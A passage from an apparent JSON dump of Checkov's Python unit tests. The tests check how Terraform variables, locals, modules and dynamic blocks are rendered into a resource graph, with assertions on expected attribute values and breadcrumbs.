resources_dir)\n\n        for expected_file, expected_block_type_dict in expected.items():\n            module_removed_path = expected_file\n            got_file = got_tf_definitions.get(module_removed_path)\n            self.assertIsNotNone(got_file)\n            for expected_block_type, expected_block_type_list in expected_block_type_dict.items():\n                got_block_type_list = got_file.get(expected_block_type)\n                self.assertIsNotNone(got_block_type_list)\n                for expected_block_dict in expected_block_type_list:\n                    for expected_block_name, expected_block_val in expected_block_dict.items():\n                        if expected_block_type != BlockType.RESOURCE:\n                            found = self.match_blocks(expected_block_val, different_expected, got_block_type_list,\n                                                      expected_block_name)\n                        else:\n                            found = self.match_resources(expected_block_val, different_expected, got_block_type_list,\n                                                         expected_block_name)\n                        self.assertTrue(found,\n                                        f\"expected to find block {expected_block_dict} from file {expected_file} in graph\")\n\n    def match_blocks(self, expected_block_val, different_expected, got_block_type_list, expected_block_name):\n        for got_block_dict in got_block_type_list:\n            for got_block_name, got_block_val in got_block_dict.items():\n                if got_block_name == expected_block_name:\n                    if got_block_name in different_expected:\n                        expected_block_val = different_expected.get(got_block_name)\n                    self.assertEqual(expected_block_val, got_block_val,\n                                     f\"failed to match block [{got_block_name}].\\nExpected: {expected_block_val}\\nActual: {got_block_val}\\n\")\n                    print(f\"success {got_block_name}: {got_block_val}\")\n                    return True\n\n        return False\n\n    def match_resources(self, expected_block_val, different_expected, got_block_type_list, expected_block_name):\n        found = False\n        for got_block_dict in got_block_type_list:\n            for got_block_name, got_block_val in got_block_dict.items():\n                if got_block_name == expected_block_name:\n                    # expected_resource_name = list(expected_block_val.keys())[0]\n                    got_resource_name = list(got_block_val.keys())[0]\n                    if got_resource_name not in expected_block_val:\n                        continue\n                    if got_resource_name in different_expected:\n                        expected_block_val = {got_resource_name: different_expected.get(got_resource_name)}\n\n                    block_to_eval = {got_resource_name: expected_block_val.get(got_resource_name)}\n                    self.assertEqual(block_to_eval, got_block_val,\n                                     f\"failed to match block [{got_block_name}].\\nExpected: {expected_block_val}\\nActual: {got_block_val}\\n\")\n                    print(f\"success {got_block_name}: {got_block_val}\")\n                    found = True\n\n        return found\n\n\ndef load_expected(replace_expected, dir_name, resources_dir):\n    if replace_expected:\n        expected_file_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\")\n        old_expected = load_expected_data(f\"{dir_name}_expected.json\", expected_file_dir)\n        expected = {}\n        for file_path in old_expected:\n            if isinstance(file_path, TFDefinitionKey):\n                new_file_path = TFDefinitionKey.from_json(replace_tf_definition_obj_keys(file_path.to_json(), expected_file_dir, resources_dir))\n            else:\n                new_file_path = file_path.replace(expected_file_dir, resources_dir)\n            expected[new_file_path] = old_expected[file_path]\n    else:\n        expected = load_expected_data(\"expected.json\", resources_dir)\n    return expected\n\n\ndef load_expected_data(source_file_name, dir_path):\n    expected_path = os.path.join(dir_path, source_file_name)\n    if not os.path.exists(expected_path):\n        return None\n\n    with open(expected_path, \"r\") as f:\n        expected_data = json.load(f, object_hook=object_hook)\n\n    # Convert to absolute path:   \"buckets/bucket.tf([{main.tf#*#0}])\"\n    #                              ^^^^^^^^^^^^^^^^^ ^^^^^^^\n    #                                    HERE       & HERE\n    #\n    resolved_pattern = re.compile(r\"(.+)\\(\\[\\{(.+)#\\*#(\\d+)}]\\)\")  # groups:  location (1), referrer (2), index (3)\n\n    # Expected files should have the filenames relative to their base directory, but the parser will\n    # use the absolute path. This loop with replace relative filenames with absolute.\n    keys = list(expected_data.keys())\n    for key in keys:\n        # NOTE: Sometimes keys have module referrers, sometimes they don't\n        if isinstance(key, TFDefinitionKey):\n            new_key = TFDefinitionKey.from_json(replace_tf_definition_obj_keys(key.to_json(), dir_path))\n        else:\n            match = resolved_pattern.match(key)\n            if match:\n                new_key = _make_module_ref_absolute(match, dir_path)\n            else:\n                if os.path.isabs(key):\n                    continue\n                new_key = os.path.join(dir_path, key)\n        expected_data[new_key] = expected_data[key]\n        del expected_data[key]\n\n    for resolved_list in jmespath.search(\"*.module[].*[].__resolved__\", expected_data):\n        for list_index in range(0, len(resolved_list)):\n            if isinstance(resolved_list[list_index], TFDefinitionKey):\n                match = TFDefinitionKey.from_json(replace_tf_definition_obj_keys(resolved_list[list_index].to_json(), dir_path))\n                assert match is not None, f\"Unexpected module resolved data: {resolved_list[list_index]}\"\n                resolved_list[list_index] = match\n            else:\n                match = resolved_pattern.match(resolved_list[list_index])\n                assert match is not None, f\"Unexpected module resolved data: {resolved_list[list_index]}\"\n                resolved_list[list_index] = _make_module_ref_absolute(match, dir_path)\n\n    return expected_data\n\n\ndef replace_tf_definition_obj_keys(json_obj, dir_path, change_str=None):\n    if isinstance(json_obj, dict):\n        for k, v in json_obj.items():\n            if k == \"file_path\" or k == \"path\":\n                if change_str:\n                    json_obj[k] = v.replace(dir_path, change_str)\n                else:\n                    json_obj[k] = os.path.join(dir_path, v)\n            elif isinstance(v, dict):\n                replace_tf_definition_obj_keys(v, dir_path)\n    return json_obj\n\n\ndef _make_module_ref_absolute(match, dir_path) -> str:\n    module_location = match[1]\n    if not os.path.isabs(module_location):\n        module_location = os.path.join(dir_path, module_location)\n\n    module_referrer = match[2]\n    if PATH_SEPARATOR in module_referrer:\n        module_referrer_fixed = []\n        if TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR in module_referrer:\n            module_referrer = module_referrer[:-(TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH + 1)]\n        for ref in module_referrer.split(PATH_SEPARATOR):\n            if not os.path.isabs(ref):\n                module_referrer_fixed.append(os.path.join(dir_path, ref))\n        module_referrer = unify_dependency_path(module_referrer_fixed)\n    else:\n        module_referrer = os.path.join(dir_path, module_referrer)\n    return f\"{module_location}{TERRAFORM_NESTED_MODULE_PATH_PREFIX}{module_referrer}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}{match[3]}{TERRAFORM_NESTED_MODULE_PATH_ENDING}\"\n\n\ndef remove_prefix_dir_from_path(prefix_to_remove, dict_to_handle):\n    json_data = json.dumps(dict_to_handle)\n    json_data = json_data.replace(prefix_to_remove, '')\n    dict_to_handle = json.loads(json_data)\n    return dict_to_handle\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_renderer.py",
    "content": "import os\nimport time\nfrom pathlib import Path\nfrom unittest import mock\nfrom unittest.case import TestCase\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform.graph_builder.variable_rendering.renderer import TerraformVariableRenderer\nfrom checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\nfrom tests.terraform.graph.variable_rendering.expected_data import (\n    expected_terragoat_local_resource_prefix,\n    expected_terragoat_db_instance,\n    expected_eks,\n    expected_provider,\n)\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@mock.patch.dict(os.environ, {\"RENDER_ASYNC_MAX_WORKERS\": \"50\", \"RENDER_VARIABLES_ASYNC\": \"False\"})\nclass TestRenderer(TestCase):\n    def test_render_local(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_local')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_local = {'bucket_name': 'test_bucket_name'}\n        expected_resource = {'region': 'us-west-2', 'bucket': expected_local['bucket_name']}\n\n        self.compare_vertex_attributes(local_graph, expected_local, BlockType.LOCALS, 'bucket_name')\n        self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.template_bucket')\n\n    def test_render_variable(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_variable')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_resource = {'region': \"us-west-2\", 'bucket': \"test_bucket_name\", \"acl\": \"acl\", \"force_destroy\": True}\n\n        self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.template_bucket')\n\n    def test_render_variable_second_resource(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_variable')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_resource = {'region': \"us-west-2\", 'bucket': \"Storage bucket\", \"acl\": \"acl\", \"force_destroy\": True}\n\n        self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.storage_bucket')\n\n    def test_render_complex_variable(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/complex_var')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_resource = {'description': 'test', 'name': 'test',\n                             'policy': {'Statement': [{'Action': '*',\n                                                        'Condition': {'MyCond': {'key': ['0.0.0.0', '1.1.1.1']}},\n                                                        'Effect': 'Deny', 'Resource': '*'}], 'Version': '1970-01-01'}}\n\n        self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_iam_policy.test')\n\n    def test_render_local_from_variable(self):\n        resources_dir = os.path.join(TEST_DIRNAME,\n                                     '../resources/variable_rendering/render_local_from_variable')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_local = {'bucket_name': 'test_bucket_name'}\n\n        self.compare_vertex_attributes(local_graph, expected_local, BlockType.LOCALS, 'bucket_name')\n\n    def test_general_example(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_provider = {'profile': 'default', 'region': 'us-east-1', 'alias': 'east1'}\n        expected_local = {'bucket_name': {'val': 'MyBucket'}}\n        expected_resource = {'region': 'us-west-2', 'bucket': expected_local['bucket_name']}\n\n        self.compare_vertex_attributes(local_graph, expected_provider, BlockType.PROVIDER, 'aws.east1')\n        self.compare_vertex_attributes(local_graph, expected_local, BlockType.LOCALS, 'bucket_name')\n        self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.template_bucket')\n\n    def test_terragoat_db_app(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_terragoat_db_app')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        self.compare_vertex_attributes(local_graph, expected_terragoat_local_resource_prefix, BlockType.LOCALS, 'resource_prefix')\n        self.compare_vertex_attributes(local_graph, expected_terragoat_db_instance, BlockType.RESOURCE, \"aws_db_instance.default\")\n\n    def test_render_nested_modules(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_nested_modules')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_aws_instance = {\"instance_type\": \"bar\"}\n        self.compare_vertex_attributes(local_graph, expected_aws_instance, BlockType.RESOURCE, \"aws_instance.example\")\n        expected_output_bucket_acl = {\"value\": \"z\"}\n        self.compare_vertex_attributes(local_graph, expected_output_bucket_acl, BlockType.OUTPUT, \"bucket_acl\")\n\n    def compare_vertex_attributes(self, local_graph, expected_attributes, block_type, block_name):\n        vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]]\n        print(f'breadcrumbs = {vertex.breadcrumbs}')\n        vertex_attributes = vertex.get_attribute_dict()\n        for attribute_key, expected_value in expected_attributes.items():\n            actual_value = vertex_attributes.get(attribute_key)\n            self.assertEqual(expected_value, actual_value, f'error during comparing {block_type} in attribute key: {attribute_key}')\n\n    def test_breadcrumbs(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/s3_bucket')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n        vertices = local_graph.vertices\n        s3_vertex = list(filter(lambda vertex: vertex.block_type == BlockType.RESOURCE, vertices))[0]\n        changed_attributes = list(s3_vertex.changed_attributes.keys())\n        self.assertCountEqual(changed_attributes, ['versioning.enabled', 'acl'])\n\n        for breadcrumbs in s3_vertex.changed_attributes.values():\n            self.assertEqual(1, len(breadcrumbs))\n\n        acl_origin_vertex = s3_vertex.changed_attributes.get('acl')[0]\n        matching_acl_vertex = vertices[acl_origin_vertex.vertex_id]\n        self.assertEqual('acl', matching_acl_vertex.name)\n\n        versioning_origin_vertex = s3_vertex.changed_attributes.get('versioning.enabled')[0]\n        matching_versioning_vertex = vertices[versioning_origin_vertex.vertex_id]\n        self.assertEqual('is_enabled', matching_versioning_vertex.name)\n\n    def test_multiple_breadcrumbs(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n        vertices = local_graph.vertices\n        s3_vertex = list(filter(lambda vertex: vertex.block_type == BlockType.RESOURCE, vertices))[0]\n        changed_attributes = list(s3_vertex.changed_attributes.keys())\n        self.assertListEqual(changed_attributes, ['region', 'bucket'])\n\n        bucket_vertices_ids_list = s3_vertex.changed_attributes.get('bucket')\n        self.assertEqual(2, len(bucket_vertices_ids_list))\n\n        first_vertex = vertices[bucket_vertices_ids_list[0].vertex_id]\n        self.assertEqual(BlockType.VARIABLE, first_vertex.block_type)\n        self.assertEqual('bucket_name', first_vertex.name)\n        self.assertEqual(first_vertex.name, s3_vertex.breadcrumbs['bucket'][0]['name'])\n\n        second_vertex = vertices[bucket_vertices_ids_list[1].vertex_id]\n        self.assertEqual(BlockType.LOCALS, second_vertex.block_type)\n        self.assertEqual('bucket_name', second_vertex.name)\n        self.assertEqual(second_vertex.name, s3_vertex.breadcrumbs['bucket'][1]['name'])\n\n    def test_render_lambda(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_lambda')\n        graph_manager = TerraformGraphManager('acme', ['acme'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        expected_aws_lambda_permission = {'count': 0, 'statement_id': 'test_statement_id', 'action': 'lambda:InvokeFunction', 'function_name': 'my-func', 'principal': 'dumbeldor', 'resource_type': 'aws_lambda_permission'}\n\n        self.compare_vertex_attributes(local_graph, expected_aws_lambda_permission, BlockType.RESOURCE, \"aws_lambda_permission.test_lambda_permissions\")\n\n    def test_eks(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/terraform-aws-eks-master')\n        graph_manager = TerraformGraphManager('eks', ['eks'])\n        local_graph, tf_def = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        for v in local_graph.vertices:\n            expected_v = expected_eks.get(v.block_type, {}).get(v.name)\n            if expected_v:\n                for attribute_key, expected_value in expected_v.items():\n                    actual_value = v.attributes.get(attribute_key)\n                    self.assertEqual(expected_value, actual_value,\n                                     f'error during comparing {v.block_type} in attribute key: {attribute_key}')\n\n\n    def test_dict_tfvar(self):\n        resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_dictionary_tfvars')\n        graph_manager = TerraformGraphManager('d', ['d'])\n        local_graph, tf_def = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True)\n\n        for v in local_graph.vertices:\n            expected_v = expected_provider.get(v.block_type, {}).get(v.name)\n            if expected_v:\n                for attribute_key, expected_value in expected_v.items():\n                    actual_value = v.attributes.get(attribute_key)\n                    self.assertEqual(expected_value, actual_value,\n                                     f'error during comparing {v.block_type} in attribute key: {attribute_key}')\n\n    def test_graph_rendering_order_nested_module_enable(self):\n        resource_path = os.path.realpath(os.path.join(TEST_DIRNAME, \"..\", \"resources\", \"module_rendering\", \"example\"))\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, tf_def = graph_manager.build_graph_from_source_directory(resource_path, render_variables=True)\n        module_vertices = list(filter(lambda v: v.block_type == BlockType.MODULE, local_graph.vertices))\n        existing = set()\n        self.assertEqual(6, len(local_graph.edges))\n        for e in local_graph.edges:\n            if e in existing:\n                self.fail(\"No 2 edges should be aimed at the same vertex in this example\")\n            else:\n                existing.add(e)\n        count = 0\n        found = 0\n        for v in module_vertices:\n            if v.name == 'second-mock':\n                found += 1\n                if v.attributes['input'] == ['aws_s3_bucket.some-bucket.arn']:\n                    count += 1\n        self.assertEqual(found, count, f\"Expected all instances to have the same value, found {found} instances but only {count} correct values\")\n\n    def test_type_default_values(self):\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('map'), {})\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${map}'), {})\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('map(string)'), {})\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${map(string)}'), {})\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('list'), [])\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('list(string)'), [])\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${list}'), [])\n        self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${list(string)}'), [])\n        self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value('number'))\n        self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value('${number}'))\n        self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value(None))\n        self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value(123))\n\n    def test_tfvar_rendering_module_vars(self):\n        resource_path = os.path.join(TEST_DIRNAME, \"test_resources\", \"tfvar_module_variables\")\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resource_path, render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        assert resources_vertex[0].attributes.get('name') == ['airpods']\n\n    def test_dynamic_blocks_with_list(self):\n        resource_paths = [\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_resource\"),\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_variable_rendering\"),\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_tfvars\"),\n\n        ]\n        for path in resource_paths:\n            graph_manager = TerraformGraphManager('m', ['m'])\n            local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True)\n            resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n            assert len(resources_vertex[0].attributes.get('ingress')) == 2\n            assert len(resources_vertex[0].attributes.get('egress')) == 2\n            assert resources_vertex[0].attributes.get('ingress') == \\\n                   [{'cidr_blocks': ['0.0.0.0/0'], 'from_port': 80, 'protocol': 'tcp', 'to_port': 80},\n                    {'cidr_blocks': ['0.0.0.0/0'], 'from_port': 443, 'protocol': 'tcp', 'to_port': 443}]\n            assert resources_vertex[0].attributes.get('egress') == \\\n                   [{'cidr_blocks': ['0.0.0.0/0'], 'from_port': 443, 'protocol': 'tcp', 'to_port': 443},\n                    {'cidr_blocks': ['0.0.0.0/0'], 'from_port': 1433, 'protocol': 'tcp', 'to_port': 1433}]\n\n    def test_dynamic_blocks_with_map(self):\n        resource_paths = [\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_map\"),\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_map_brackets\"),\n        ]\n        for path in resource_paths:\n            graph_manager = TerraformGraphManager('m', ['m'])\n            local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True)\n            resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n            assert len(resources_vertex[0].attributes.get('ingress')) == 2\n            assert resources_vertex[0].attributes.get('ingress') == \\\n                   [{'action': 'allow', 'cidr_block': '10.0.0.1/32', 'from_port': 22, 'protocol': 'tcp', 'rule_no': 1,\n                     'to_port': 22},\n                    {'action': 'allow', 'cidr_block': '10.0.0.2/32', 'from_port': 22, 'protocol': 'tcp', 'rule_no': 2,\n                     'to_port': 22}]\n\n    def test_dynamic_blocks_with_nesting_attributes(self):\n        root_folder = os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_block_nesting_attribute\")\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(root_folder, render_variables=True)\n\n        # Test dynamic blocks with nesting attributes\n        resource_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))[0]\n\n        assert resource_vertex.attributes.get('server_side_encryption_configuration') == [{'rule': {\n            'apply_server_side_encryption_by_default': {'kms_master_key_id': 'testkey1', 'sse_algorithm': 'aws:kms'}}},\n            {'rule': {'apply_server_side_encryption_by_default': {'kms_master_key_id': 'testkey2',\n                                                                  'sse_algorithm': 'aws:notkms'}}}]\n\n    def test_extract_dynamic_value_in_map(self):\n        self.assertEqual(TerraformVariableRenderer.extract_dynamic_value_in_map('value.value1.value2'), 'value2')\n        self.assertEqual(TerraformVariableRenderer.extract_dynamic_value_in_map('value.value1[\"value2\"]'), 'value2')\n\n    def test_dynamic_blocks_breadcrumbs(self):\n        root_folder = os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_variable_rendering\")\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(root_folder, render_variables=True)\n        definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions(\n            local_graph.vertices,\n            root_folder,\n        )\n        # Test multiple dynamic blocks\n        assert 'ingress.from_port' in breadcrumbs['/main.tf']['aws_security_group.list_example']\n        assert 'ingress.to_port' in breadcrumbs['/main.tf']['aws_security_group.list_example']\n        assert 'egress.to_port' in breadcrumbs['/main.tf']['aws_security_group.list_example']\n        assert 'egress.to_port' in breadcrumbs['/main.tf']['aws_security_group.list_example']\n\n        # Test single dynamic block\n        assert 'ingress.from_port' in breadcrumbs['/main.tf']['aws_security_group.single_dynamic_example']\n        assert 'ingress.to_port' in breadcrumbs['/main.tf']['aws_security_group.single_dynamic_example']\n\n    def test_nested_dynamic_blocks_breadcrumbs(self):\n        root_folder = os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_with_nested\")\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(root_folder, render_variables=True)\n        definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions(\n            local_graph.vertices,\n            root_folder,\n        )\n        # Test multiple dynamic blocks\n        assert 'required_resource_access.resource_app_id' in breadcrumbs['/main.tf']['azuread_application.bootstrap']\n        assert 'required_resource_access.resource_access.id' in breadcrumbs['/main.tf']['azuread_application.bootstrap']\n        assert 'required_resource_access.resource_access.type' in breadcrumbs['/main.tf']['azuread_application.bootstrap']\n\n    def test_list_entry_rendering_module_vars(self):\n        # given\n        resource_path = Path(TEST_DIRNAME) / \"test_resources/list_entry_module_var\"\n        graph_manager = TerraformGraphManager(NetworkxConnector())\n\n        # when\n        local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True)\n\n        # then\n        resource_vertex = next(v for v in local_graph.vertices if v.id == 'aws_security_group.sg')\n\n        self.assertEqual(\n            resource_vertex.config[\"aws_security_group\"][\"sg\"][\"ingress\"][0][\"cidr_blocks\"][0],\n            [\"0.0.0.0/0\"],\n        )\n        self.assertCountEqual(\n            resource_vertex.config[\"aws_security_group\"][\"sg\"][\"egress\"][0][\"cidr_blocks\"][0],\n            [\"10.0.0.0/16\", \"0.0.0.0/0\"],\n        )\n\n        multiple_ingress_vertex = (\n            next(v for v in local_graph.vertices if v.id == 'aws_security_group.multiple_ingress_sg'))\n\n        ingress_field = multiple_ingress_vertex.config[\"aws_security_group\"][\"multiple_ingress_sg\"][\"ingress\"]\n        self.assertEqual(len(ingress_field), 3)\n\n        # TODO - make var rendering correctly evaluate inner vars in list\n        self.assertEqual(ingress_field[0],[[]])\n        self.assertEqual(ingress_field[1], {'cidr_blocks': ['${var.cidr_sg}'], 'from_port': 23, 'protocol': 'TCP', 'to_port': 23})\n        self.assertEqual(ingress_field[2],'var.empty_ingress')\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_RENDER_DYNAMIC_MODULES\": \"False\"})\n    def test_dynamic_with_env_var_false(self):\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_resource\"), render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        assert not resources_vertex[0].attributes.get('ingress')\n        assert not resources_vertex[0].attributes.get('egress')\n\n    def test_dynamic_blocks_with_nested_map(self):\n        resource_paths = [\n            os.path.join(TEST_DIRNAME, 'test_resources', 'dynamic_blocks_with_nested'),\n        ]\n        for path in resource_paths:\n            graph_manager = TerraformGraphManager('m', ['m'])\n            local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True)\n            resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n            assert len(resources_vertex[0].attributes.get('required_resource_access')) == 2\n            assert resources_vertex[0].attributes.get('required_resource_access') == \\\n                   {'resource_app_id': '00000003-0000-0000-c000-000000000000',\n                    'resource_access': {'id': '7ab1d382-f21e-4acd-a863-ba3e13f7da61', 'type': 'Role'}}\n\n    def test_dynamic_example_for_security_rule(self):\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_block_map_example\"), render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        assert resources_vertex[0].attributes.get('security_rule') == [\n            {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 80, 'direction': 'Inbound', 'name': 'AllowHttpIn', 'priority': 100, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'},\n            {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 443, 'direction': 'Inbound', 'name': 'AllowHttpsIn', 'priority': 110, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'},\n            {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 3389, 'direction': 'Inbound', 'name': 'AllowRdpIn', 'priority': 120, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'},\n            {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': '*', 'direction': 'Inbound', 'name': 'AllowIcmpIn', 'priority': 130, 'protocol': 'Icmp', 'source_address_prefix': '*', 'source_port_range': '*'}]\n        assert resources_vertex[1].attributes.get('security_rule') == [\n            {'access': 'Deny', 'destination_address_prefix': '*', 'destination_port_range': 80, 'direction': 'Inbound', 'name': 'DenyHttpIn', 'priority': 100, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'},\n            {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 443, 'direction': 'Inbound', 'name': 'AllowHttpsIn', 'priority': 110, 'protocol': 'Tcp', 'source_address_prefix': '35.181.123.80/32', 'source_port_range': '*'},\n            {'access': 'Deny', 'destination_address_prefix': '*', 'destination_port_range': 3389, 'direction': 'Inbound', 'name': 'DenyRdpIn', 'priority': 120, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'},\n            {'access': 'Deny', 'destination_address_prefix': '*', 'destination_port_range': '*', 'direction': 'Inbound', 'name': 'DenyIcmpIn', 'priority': 130, 'protocol': 'Icmp', 'source_address_prefix': '*', 'source_port_range': '*'}]\n\n    def test_dynamic_blocks_with_nested_lookup(self):\n        resource_paths = [\n            os.path.join(TEST_DIRNAME, 'test_resources', 'dynamic_nested_with_lookup_foreach'),\n        ]\n        for path in resource_paths:\n            start_time = time.time()\n            graph_manager = TerraformGraphManager('m', ['m'])\n            local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True)\n            end_time = time.time()\n            assert end_time - start_time < 1\n            resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE and v.has_dynamic_block, local_graph.vertices))\n            assert resources_vertex[0].attributes['stage'] == [\n                {'name': 'Source',\n                 'action': {'category': 'Source', 'configuration': {'BranchName': 'master', 'PollForSourceChanges': 'false', 'RepositoryName': 'cron-poll'}, 'input_artifacts': [], 'name': 'Source', 'output_artifacts': ['SourceArtifact'], 'owner': 'AWS', 'provider': 'CodeCommit', 'region': '', 'role_arn': 'null', 'run_order': 1, 'version': '1'}},\n                {'name': 'Build',\n                 'action': {'category': 'Build', 'configuration': {'ProjectName': 'cron-poll'}, 'input_artifacts': ['SourceArtifact'], 'name': 'Build', 'output_artifacts': ['BuildArtifact'], 'owner': 'AWS', 'provider': 'CodeBuild', 'region': '', 'role_arn': 'null', 'run_order': 2, 'version': '1'}},\n                {'name': 'Deploy',\n                 'action': {'category': 'Deploy', 'configuration': {'ClusterName': 'test', 'ServiceName': 'cron-poll'}, 'input_artifacts': ['BuildArtifact'], 'name': 'Deploy', 'output_artifacts': [], 'owner': 'AWS', 'provider': 'ECS', 'region': '', 'role_arn': 'null', 'run_order': 4, 'version': '1'}}\n            ]\n\n    def test_dynamic_blocks_null_lookup(self):\n        